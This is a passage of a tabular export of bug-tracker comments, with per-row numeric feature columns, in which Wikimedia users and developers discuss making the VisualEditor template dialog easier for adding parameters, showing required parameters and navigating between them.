I fixed the link.",,,1456940930,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8888888888888888,"QUOTE
QUOTE

I fixed the link."
621413,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","I have literally no idea, it was in 2014.",,,1456932039,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"I have literally no idea, it was in 2014."
621352,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",@Ironholds the page has become a disambig since you filed. Looking at the history were you linking to https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) originally?,,,1456923888,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,14.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,4.5,0.9090909090909091,SCREEN_NAME the page has become a disambig since you filed. Looking at the history were you linking to URL originally?
620273,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Current thinking about switching modes:

| Basic appearance | {F3459623}
| Editing with support | {F3459624}
| Switched to 'wikitext' mode | {F3459622}
",,,1456797038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6944444444444446,0.6666666666666666,"Current thinking about switching modes:

| Basic appearance | {F3459623}
| Editing with support | {F3459624}
| Switched to 'wikitext' mode | {F3459622}
"
234152,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Re-wording; this isn't a duplicate of bug 50182, which is about non-dialog editing of templates.",,,1408649657,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.8695652173913043,"Re-wording; this isn't a duplicate of bug 50182, which is about non-dialog editing of templates."
234146,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","

*** This bug has been marked as a duplicate of bug 50182 ***",,,1372427548,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50182 ***"
52354,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"The current workflow for adding a new template; you add the template, you add parameter 1, you go to add parameter 2...only you can't, because adding parameter 1 jumped you to an entirely new tab that doesn't contain a mechanism for adding parameter 2.

It'd be good to have some mechanism to add additional parameters that is more intuitive - something as simple as not jumping a user to the parameter page, even. I appreciate bug 49778 partially solves for this but it's going to be a looong time before all our templates have templatedata.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51774
https://bugzilla.wikimedia.org/show_bug.cgi?id=49772",Medium,50.0,1372412100,1377906050.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_description,invalid,True,c1,2,False,False,True,-1,,1.0,0.5,0.5,0.0,1.5,4.5,1.5,0.5,0.0,0.0,1.5,1.5,0.0,1.0,0.0,1.5,0.0,6.0,7.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.5,1.0,3.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,13.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,4.5,1.5,6.0,0.5,0.5,6.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,5.0,7.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,3.0,0.5,0.0,0.0,3.907142857142857,0.6571428571428571,"The current workflow for adding a new template; you add the template, you add parameter 1, you go to add parameter 2...only you can't, because adding parameter 1 jumped you to an entirely new tab that doesn't contain a mechanism for adding parameter 2.

It'd be good to have some mechanism to add additional parameters that is more intuitive - something as simple as not jumping a user to the parameter page, even. I appreciate bug 49778 partially solves for this but it's going to be a looong time before all our templates have templatedata.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
234089,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I think these are all now tracked in bug 53604's dependencies, which is a more scalable way to find, triage and fix bugs; consequently, closing this as INVALID (though each of its suggestions are of course real bugs or enhancements).",,,1377906050,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,True,,,8,,4.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,4.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.041666666666667,0.8958333333333334,"I think these are all now tracked in bug 53604's dependencies, which is a more scalable way to find, triage and fix bugs; consequently, closing this as INVALID (though each of its suggestions are of course real bugs or enhancements)."
234083,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"(In reply to comment #11)
> << For templates, it would be helpful to provide some links to the actual
> template page from the transclusion dialog. At least a direct link, but
> perhaps
> something like v*t*e (view/talk/edit) like included in many navigation
> templates. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:12,
> 6
> August 2013 (UTC) >>

Links to template documentation pages from the transclusion editor is bug 49772",,,1375794547,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.6285714285714286,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Links to template documentation pages from the transclusion editor is bug 49772"
234079,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"<< For templates, it would be helpful to provide some links to the actual template page from the transclusion dialog. At least a direct link, but perhaps something like v*t*e (view/talk/edit) like included in many navigation templates. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:12, 6 August 2013 (UTC) >>",,,1375793484,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,3.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,11.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,3.8219178082191783,0.726027397260274,"<< For templates, it would be helpful to provide some links to the actual template page from the transclusion dialog. At least a direct link, but perhaps something like v*t*e (view/talk/edit) like included in many navigation templates. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:12, 6 August 2013 (UTC) >>"
234076,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"<< When the templatedata does not take any parameters, as specified by the corresponding templatedata (e.g. <nowiki>{{fixed}}</nowiki>, don't show the add parameter heading/text field and 'no unused parameters'. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:08, 6 August 2013 (UTC) >>",,,1375793232,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,4.061538461538461,0.7076923076923077,"<< When the templatedata does not take any parameters, as specified by the corresponding templatedata (e.g. <nowiki>{{fixed}}</nowiki>, don't show the add parameter heading/text field and 'no unused parameters'. --[[User:Wouterstomp|WS]] ([[User talk:Wouterstomp|talk]]) 11:08, 6 August 2013 (UTC) >>"
234073,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"I've added bug 51774 as a see-also. That bug is about making it easier to see long descriptions by use of a tooltip. I don't think it is dependent on or duplicative of this though.

Bug 49772 is also relevant here, that asks for links to extended documentation.",,,1374492238,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,7.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.706896551724138,0.7758620689655172,"I've added bug 51774 as a see-also. That bug is about making it easier to see long descriptions by use of a tooltip. I don't think it is dependent on or duplicative of this though.

Bug 49772 is also relevant here, that asks for links to extended documentation."
234068,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"The treatment of ""required parameters"" is positively unhelpful. I suggest that they should be listed below the input box, like the other parameters, with a note saying ""Required"". At present it's easy not to notice that they're there, at the top of the left-hand column, while a few of the other parameters and their descriptions are listed conspicuosly below the input box.

Steps to add a non-required parameter:
#See it listed below the box, with its descriptionm and click (or, remember its name and type it)
#type the value into the displayed box
# (non-intuitively) click on the template name top left to add another parameter (please give us an ""Add another parameter"" box!)

Steps to add a required parameter:
# Notice that it's listed, top left - just the name, no description
# Recognise that it's an important and required parameter, even if the name is a bit cryptic
# Move mouse up there and click on it
#Now see it displayed with its description
# type the value into the displayed box
#...

I don't think the editor benefits from the current situation: I've tried adding a few templates and been flummoxed by it: sometimes the parameter name doesn't convey what it is, while if it was listed below the input box with its description it would be much clearer. Stick a red ""Required""  note beside it: editors are used to this on all sorts of other web forms.",,,1374490962,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,3,,1.25,0.0,0.0,1.5,1.0,5.25,0.75,0.0,0.0,0.5,0.0,1.25,0.0,0.0,0.0,1.0,0.0,3.75,9.75,0.0,1.0,0.25,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.25,0.25,4.0,2.5,4.5,2.25,0.0,0.0,0.0,0.25,2.0,0.25,0.75,0.25,1.75,0.25,0.0,0.25,0.0,1.0,13.75,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.25,7.5,2.75,4.25,2.25,1.75,9.0,0.0,0.0,0.25,2.25,5.0,0.25,0.0,0.0,6.25,9.75,1.5,0.0,2.25,0.0,6.25,0.0,0.25,2.5,0.25,0.5,0.25,0.0,0.0,3.7350478468899517,0.6866028708133971,"The treatment of ""required parameters"" is positively unhelpful. I suggest that they should be listed below the input box, like the other parameters, with a note saying ""Required"". At present it's easy not to notice that they're there, at the top of the left-hand column, while a few of the other parameters and their descriptions are listed conspicuosly below the input box.

Steps to add a non-required parameter:
#See it listed below the box, with its descriptionm and click (or, remember its name and type it)
#type the value into the displayed box
# (non-intuitively) click on the template name top left to add another parameter (please give us an ""Add another parameter"" box!)

Steps to add a required parameter:
# Notice that it's listed, top left - just the name, no description
# Recognise that it's an important and required parameter, even if the name is a bit cryptic
# Move mouse up there and click on it
#Now see it displayed with its description
# type the value into the displayed box
#...

I don't think the editor benefits from the current situation: I've tried adding a few templates and been flummoxed by it: sometimes the parameter name doesn't convey what it is, while if it was listed below the input box with its description it would be much clearer. Stick a red ""Required""  note beside it: editors are used to this on all sorts of other web forms."
234062,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"More user suggestions:


    After selecting a template and clicking ""Add template"", the left side of the box should read (in descending order): (1) Dialog box name (which should be ""New template"", not ""Transclusion""); (2) the name of the new template [done now, but this should not be clickable - see (6)]; (3) A title, ""Required parameters"" [new], (4) a list of the required parameters [done now; done now], (5) a title, ""Added parameters"" [new], (6) A button, ""Add a parameter"", which when clicked, changes the right side of the box to the ""Add parameter"" dialog; and (7) a list of added parameters [done now; may be blank]. The button should be greyed out if the editor cannot add any new parameters (the only allowed parameters are required; all possible added parameters have been added)

    After clicking ""Add template"", the left side of the dialog box highlights the template name, and always shows, on the right side, the ""Add parameter"" dialog. This is wrong if there are any required parameters. What should be highlighted on the left is the first required parameter. Editors should be completing the required parameters first, then turning to adding optional parameters.

    When a editor clicks, on the left side, on a parameter, the right side shows an input box. It isn't clear, after the editor has added the desired information, what to do. Pressing [Enter] (or [Return]) just puts a newline character into the box (starts a new line). Clicking on ""Apply changes"", which seems like a possible solution, actually saves the template and exits the dialog box - that's frustrating. There should be a ""Done"" button that closes the edit window, and moves the left-side focus to (a) the top-most required parameter without information, or (b) the ""Add a parameter"" button/option.

    When a parameter listed in the left side of the box gets its information added by the editor, the visible format of the parameter does not change. This is a particular problem if there are a lot of mandatory parameters, and the editor is not adding information linearly. It would be helpful if the text of the name of the parameter were to turn green once the parameter has been filled out; that's also positive feedback to an editor looking at anything with more than a few required parameters.

    How to add a parameter is not obvious, as indicated by the frustration voiced by an editor previously. It looks like an editor can click on a parameter in the list, and then click the boxed parameter name towards the right side of the areas that has turned blue (that is, to click on what appears to be a button with the parameter name within it). But clicking on that ""button"" does nothing. Nor does clicking on a parameter result in the name of that parameter being put into the search box. The secret of adding a parameter [I guess; I've not been able to figure out anything else] is to ignore the fact that parameter names can be selected by clicking on them, instead (a) typing the parameter name into the search box, and (b) pressing [Enter]. I admit to being baffled by the rationale here: why make (the parameter name) clickable, yet have the click do absolutely nothing useful? Clicking on a small button within the parameter description, or double-clicking (or best, either way) is much more what editors would expect. [I also note that the user guide is not helpful, saying in its entirety, on this issue: ""You can add parameters or edit those already listed.""]

    What makes the ""type in the parameter name and press enter"" approach particularly problematical is that if you misspell the name of an optional parameter, you get no feedback that you have done so. That's because VE assumes you're adding a parameter that's not covered by templatedata, but still is valid. That's a necessary assumption now, but clicking to add a parameter, rather than typing to add one, would remove the potential for this problem.

    When adding a parameter, the list of parameters includes a description (e.g., ""Full date when the source was published; if unknown, use accessdate ...""). It would be extremely useful if this description was also visible when the enter enters information for that parameter. (Bug exists for this, I believe.)

    VE should prevent an editor from adding a template to the page text unless information has been entered for all required parameters. This could be done by greying out the final button (currently ""Apply changes""), or by an appropriate error message if that button were clicked while a required parameter was still blank. If the first approach is taken, then it's particularly important to show the editor his/her progress in filling out parameters (the fourth suggestion, above), perhaps even turning red the required parameters that still require information.

    The final step, for a different process, adding images, is to click a button labeled ""Insert media"". Similarly, the final step for the template process should be a button labeled ""Insert template"", rather than ""Apply changes"".",,,1373874288,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bdj7ew4y7qhxm7z7ixap,task_subcomment,,True,c1,3,False,,,2,,0.5454545454545454,0.18181818181818182,0.18181818181818182,1.1818181818181819,0.9090909090909091,5.545454545454546,1.9090909090909092,0.09090909090909091,0.0,0.9090909090909091,1.2727272727272727,0.2727272727272727,0.0,0.09090909090909091,0.2727272727272727,0.45454545454545453,0.18181818181818182,5.363636363636363,9.727272727272727,0.36363636363636365,1.0,0.8181818181818182,0.09090909090909091,0.36363636363636365,0.45454545454545453,0.09090909090909091,0.0,0.09090909090909091,0.5454545454545454,0.36363636363636365,0.18181818181818182,5.909090909090909,0.9090909090909091,0.7272727272727273,2.3636363636363638,0.45454545454545453,0.18181818181818182,0.2727272727272727,0.36363636363636365,1.4545454545454546,0.09090909090909091,0.2727272727272727,0.6363636363636364,1.5454545454545454,0.2727272727272727,0.5454545454545454,0.09090909090909091,0.36363636363636365,0.09090909090909091,16.09090909090909,1.0,0.8181818181818182,0.2727272727272727,0.6363636363636364,0.0,0.2727272727272727,0.0,0.5454545454545454,0.5454545454545454,0.09090909090909091,0.36363636363636365,0.5454545454545454,0.0,0.36363636363636365,0.18181818181818182,0.36363636363636365,0.0,10.363636363636363,3.727272727272727,5.636363636363637,2.1818181818181817,1.9090909090909092,12.818181818181818,0.0,0.0,0.0,0.0,4.090909090909091,0.0,0.36363636363636365,0.0,1.9090909090909092,9.727272727272727,0.5454545454545454,0.09090909090909091,3.6363636363636362,0.0,1.9090909090909092,0.0,1.9090909090909092,3.727272727272727,0.09090909090909091,2.5454545454545454,0.2727272727272727,0.18181818181818182,1.9090909090909092,3.899814471243043,0.6447124304267161,"More user suggestions:


    After selecting a template and clicking ""Add template"", the left side of the box should read (in descending order): (1) Dialog box name (which should be ""New template"", not ""Transclusion""); (2) the name of the new template [done now, but this should not be clickable - see (6)]; (3) A title, ""Required parameters"" [new], (4) a list of the required parameters [done now; done now], (5) a title, ""Added parameters"" [new], (6) A button, ""Add a parameter"", which when clicked, changes the right side of the box to the ""Add parameter"" dialog; and (7) a list of added parameters [done now; may be blank]. The button should be greyed out if the editor cannot add any new parameters (the only allowed parameters are required; all possible added parameters have been added)

    After clicking ""Add template"", the left side of the dialog box highlights the template name, and always shows, on the right side, the ""Add parameter"" dialog. This is wrong if there are any required parameters. What should be highlighted on the left is the first required parameter. Editors should be completing the required parameters first, then turning to adding optional parameters.

    When a editor clicks, on the left side, on a parameter, the right side shows an input box. It isn't clear, after the editor has added the desired information, what to do. Pressing [Enter] (or [Return]) just puts a newline character into the box (starts a new line). Clicking on ""Apply changes"", which seems like a possible solution, actually saves the template and exits the dialog box - that's frustrating. There should be a ""Done"" button that closes the edit window, and moves the left-side focus to (a) the top-most required parameter without information, or (b) the ""Add a parameter"" button/option.

    When a parameter listed in the left side of the box gets its information added by the editor, the visible format of the parameter does not change. This is a particular problem if there are a lot of mandatory parameters, and the editor is not adding information linearly. It would be helpful if the text of the name of the parameter were to turn green once the parameter has been filled out; that's also positive feedback to an editor looking at anything with more than a few required parameters.

    How to add a parameter is not obvious, as indicated by the frustration voiced by an editor previously. It looks like an editor can click on a parameter in the list, and then click the boxed parameter name towards the right side of the areas that has turned blue (that is, to click on what appears to be a button with the parameter name within it). But clicking on that ""button"" does nothing. Nor does clicking on a parameter result in the name of that parameter being put into the search box. The secret of adding a parameter [I guess; I've not been able to figure out anything else] is to ignore the fact that parameter names can be selected by clicking on them, instead (a) typing the parameter name into the search box, and (b) pressing [Enter]. I admit to being baffled by the rationale here: why make (the parameter name) clickable, yet have the click do absolutely nothing useful? Clicking on a small button within the parameter description, or double-clicking (or best, either way) is much more what editors would expect. [I also note that the user guide is not helpful, saying in its entirety, on this issue: ""You can add parameters or edit those already listed.""]

    What makes the ""type in the parameter name and press enter"" approach particularly problematical is that if you misspell the name of an optional parameter, you get no feedback that you have done so. That's because VE assumes you're adding a parameter that's not covered by templatedata, but still is valid. That's a necessary assumption now, but clicking to add a parameter, rather than typing to add one, would remove the potential for this problem.

    When adding a parameter, the list of parameters includes a description (e.g., ""Full date when the source was published; if unknown, use accessdate ...""). It would be extremely useful if this description was also visible when the enter enters information for that parameter. (Bug exists for this, I believe.)

    VE should prevent an editor from adding a template to the page text unless information has been entered for all required parameters. This could be done by greying out the final button (currently ""Apply changes""), or by an appropriate error message if that button were clicked while a required parameter was still blank. If the first approach is taken, then it's particularly important to show the editor his/her progress in filling out parameters (the fourth suggestion, above), perhaps even turning red the required parameters that still require information.

    The final step, for a different process, adding images, is to click a button labeled ""Insert media"". Similarly, the final step for the template process should be a button labeled ""Insert template"", rather than ""Apply changes""."
234057,VisualEditor: Transclusion dialog should make it easier to add parameters and see other values,"Retitling this ticket to keep it more focussed as a generic ""improve X"" is hard to actually resolve definitely. I suppose the main goal here is:

* It should be easier to add the Nth parameter after having added one already (e.g. not having to go back to the template page from the navigation sidebar and adding a new one).

* One should be able to see other parameters (including their values) at a glance.

I've been thinking about the following UI changes (in no particular order, some options are mutually exclusive):

* Though having sidebar entries for each parameter (as opposed to just the template) is a nice way to jump to a specific parameter at once, but for other purposes it is imho too big and unhelpful. I can't justify its prominence other than that this is the only method we have in the UI right now to allow navigation to other pages in the dialog.

* I'd like to try for a Template to be a single page in the dialog where one can scroll from one parameter to another (e.g. more like a regular form).

* The sidebar should probably be reduced (parameters either not in there, or significantly less prominent (e.g. a third of the height and indented from the parent item). The navigation sub-items for parameters wouldn't be for separate pages in the dialog, but would trigger a scroll to the param section and (if not already) to go to that template page the parameter section is inside of. We could go fancy and update the sidebar in two-directions (e.g. clicking an item will scroll there, and if you scroll there manually, we update the sidebar active item.  This principle is quite common on one-page sites, example implementation of such principle: 
http://webdesign.tutsplus.com/tutorials/javascript-tutorials/create-a-sticky-navigation-header-using-jquery-waypoints/
https://webdesigntutsplus.s3.amazonaws.com/tuts/313_waypoints/demo/index.html

* As for bigger templates the ""Template"" page would now be very long, it becomes important that our ""Add parameter"" button is not only on top or bottom of the Template page, but accessible at all times (e.g. sticky on the bottom, and when clicked we attach a new section, add it to the list and scroll to it).

* Separate: I'd like to get rid of the [+] -> [+ {template}] button we have right now. It is quite counter intuitive in my opinion. Aside from the ""+"" being unclickable (one has to hover it, then find out there are different options and pick one, even though there was only 1 option, now there are 2: template and content), it is also too small. I'd recommend we either have both + buttons visible at all times (+template, +content) or put them in the sidebar are sticky bottom-positioned slugs/placeholders (e.g. each + item would be its own row in the sidebar, clicking it will add an entry to the sidebar).

